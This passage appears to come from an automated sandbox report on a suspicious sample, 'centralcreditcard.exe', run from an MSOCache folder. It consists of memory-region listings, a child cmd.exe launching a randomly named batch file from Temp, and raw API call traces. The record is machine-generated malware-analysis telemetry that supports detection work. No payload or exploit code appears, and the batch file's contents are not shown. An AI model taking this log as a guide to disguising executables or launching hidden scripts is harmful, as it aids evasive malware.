0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5434 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5435 start_va = 0x140000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 5436 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5437 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5438 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5439 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5440 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5441 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5442 start_va = 0x140000 end_va = 0x1a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5443 start_va = 0x220000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5444 start_va = 0x2a0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5445 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5446 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 5599 start_va = 0x3c0000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5600 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5601 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5602 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5603 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5604 start_va = 0x1b0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5605 start_va = 0x3c0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5606 start_va = 0x4f0000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 5607 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5608 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5741 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5742 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5743 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5744 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5745 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5746 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5747 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5748 start_va = 0x570000 end_va = 0x6f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 5749 start_va = 0x1b0000 end_va = 0x1d8fff monitored = 0 entry_point = 0x1b1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5750 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5751 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5752 start_va = 0x700000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 5753 start_va = 0x980000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 5754 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5755 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5756 start_va = 0x1d80000 end_va = 0x1e50fff monitored = 1 entry_point = 0x1e4f1ee region_type = mapped_file name = "centralcreditcard.exe" filename = "\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe") Region: id = 5757 start_va = 0x1d80000 end_va = 0x1e50fff monitored = 1 entry_point = 0x1e4f1ee region_type = mapped_file name = "centralcreditcard.exe" filename = "\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-1000-0000000ff1ce}-c\\centralcreditcard.exe") Region: id = 5758 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5759 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5851 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5852 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5853 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5854 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 6266 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 6267 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 6605 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 6606 start_va = 0x7fe91ea0000 end_va = 0x7fe91eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ea0000" filename = "" Region: id = 6607 start_va = 0x7fe91eb0000 end_va = 0x7fe91ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91eb0000" filename = "" Region: id = 6608 start_va = 0x7fe91ec0000 end_va = 0x7fe91f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 6609 start_va = 0x7fe91f50000 end_va = 0x7fe91fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f50000" filename = "" Region: id = 6610 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 6611 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6612 start_va = 0x1d80000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 6613 start_va = 0x1e40000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 6614 start_va = 0x2160000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 6615 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6616 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 6617 start_va = 0x2260000 end_va = 0x1a25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 6695 start_va = 0x1a260000 end_va = 0x1a5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a260000" filename = "" Region: id = 6696 start_va = 0x1e40000 end_va = 0x1f40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 6697 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 6698 start_va = 0x1a660000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a660000" filename = "" Region: id = 6699 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 230 os_tid = 0x994 Thread: id = 287 os_tid = 0xe30 Thread: id = 295 os_tid = 0x128 Thread: id = 298 os_tid = 0x260 Process: id = "68" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3a3b3000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xe88" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat\" " cur_dir = "C:\\hyperWinhost\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5161 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5162 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5163 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5164 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5165 start_va = 0x4a620000 end_va = 0x4a678fff monitored = 1 entry_point = 0x4a6290b4 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 5166 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5167 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5168 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5169 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5170 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5171 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 5172 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5173 start_va = 0x2c0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5174 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5175 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5176 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5177 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5178 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5179 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5180 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5181 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5182 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff monitored = 0 entry_point = 0x7fefbc111a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 5183 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5184 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5185 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5186 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5187 start_va = 0x510000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 5188 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5189 start_va = 0x2c0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x2c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5190 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5191 start_va = 0x680000 end_va = 0x807fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 5192 start_va = 0x2c0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x2c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5193 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5194 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5195 start_va = 0x810000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 5196 start_va = 0x9a0000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 5197 start_va = 0x2c0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 5198 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5199 start_va = 0x2f0000 end_va = 0x2f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 5200 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5201 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5202 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5203 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 5221 start_va = 0x1da0000 end_va = 0x206efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 223 os_tid = 0x9a0 [0094.483] GetProcAddress (hModule=0x779c0000, lpProcName="SetConsoleInputExeNameW") returned 0x779d0c80 [0094.483] GetProcessHeap () returned 0x410000 [0094.483] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x42b640 [0094.483] GetProcessHeap () returned 0x410000 [0094.484] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b640 | out: hHeap=0x410000) returned 1 [0094.487] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat", _String2=")") returned 58 [0094.488] _wcsicmp (_String1="FOR", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat") returned 3 [0094.488] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat") returned 3 [0094.488] _wcsicmp (_String1="IF", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat") returned 6 [0094.488] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat") returned 6 [0094.488] _wcsicmp (_String1="REM", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat") returned 15 [0094.488] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat") returned 15 [0094.488] GetProcessHeap () returned 0x410000 [0094.488] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x429190 [0094.488] GetProcessHeap () returned 0x410000 [0094.488] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x7a) returned 0x429250 [0094.488] GetProcessHeap () returned 0x410000 [0094.488] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x14) returned 0x428720 [0094.489] GetConsoleTitleW (in: lpConsoleTitle=0x2bfa80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0094.489] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.489] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.489] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2bf610, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2bf5f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2bf5f0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.489] GetProcessHeap () returned 0x410000 [0094.489] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x218) returned 0x4292e0 [0094.489] GetProcessHeap () returned 0x410000 [0094.489] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x7e) returned 0x429500 [0094.491] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0094.491] GetProcessHeap () returned 0x410000 [0094.491] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x420) returned 0x429590 [0094.491] SetErrorMode (uMode=0x0) returned 0x0 [0094.491] SetErrorMode (uMode=0x1) returned 0x0 [0094.491] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\.", nBufferLength=0x208, lpBuffer=0x4295a0, lpFilePart=0x2bf310 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp", lpFilePart=0x2bf310*="Temp") returned 0x25 [0094.491] SetErrorMode (uMode=0x0) returned 0x1 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429590, Size=0x7a) returned 0x429590 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429590) returned 0x7a [0094.492] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\.") returned 1 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x62) returned 0x429620 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x429690 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429690, Size=0x62) returned 0x429690 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429690) returned 0x62 [0094.492] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a64f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0094.492] GetProcessHeap () returned 0x410000 [0094.492] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe8) returned 0x429710 [0094.496] GetProcessHeap () returned 0x410000 [0094.496] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429710, Size=0x7e) returned 0x429710 [0094.496] GetProcessHeap () returned 0x410000 [0094.496] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429710) returned 0x7e [0094.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.498] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), fInfoLevelId=0x1, lpFindFileData=0x2bf080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bf080) returned 0x4297a0 [0094.498] GetProcessHeap () returned 0x410000 [0094.498] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x0, Size=0x28) returned 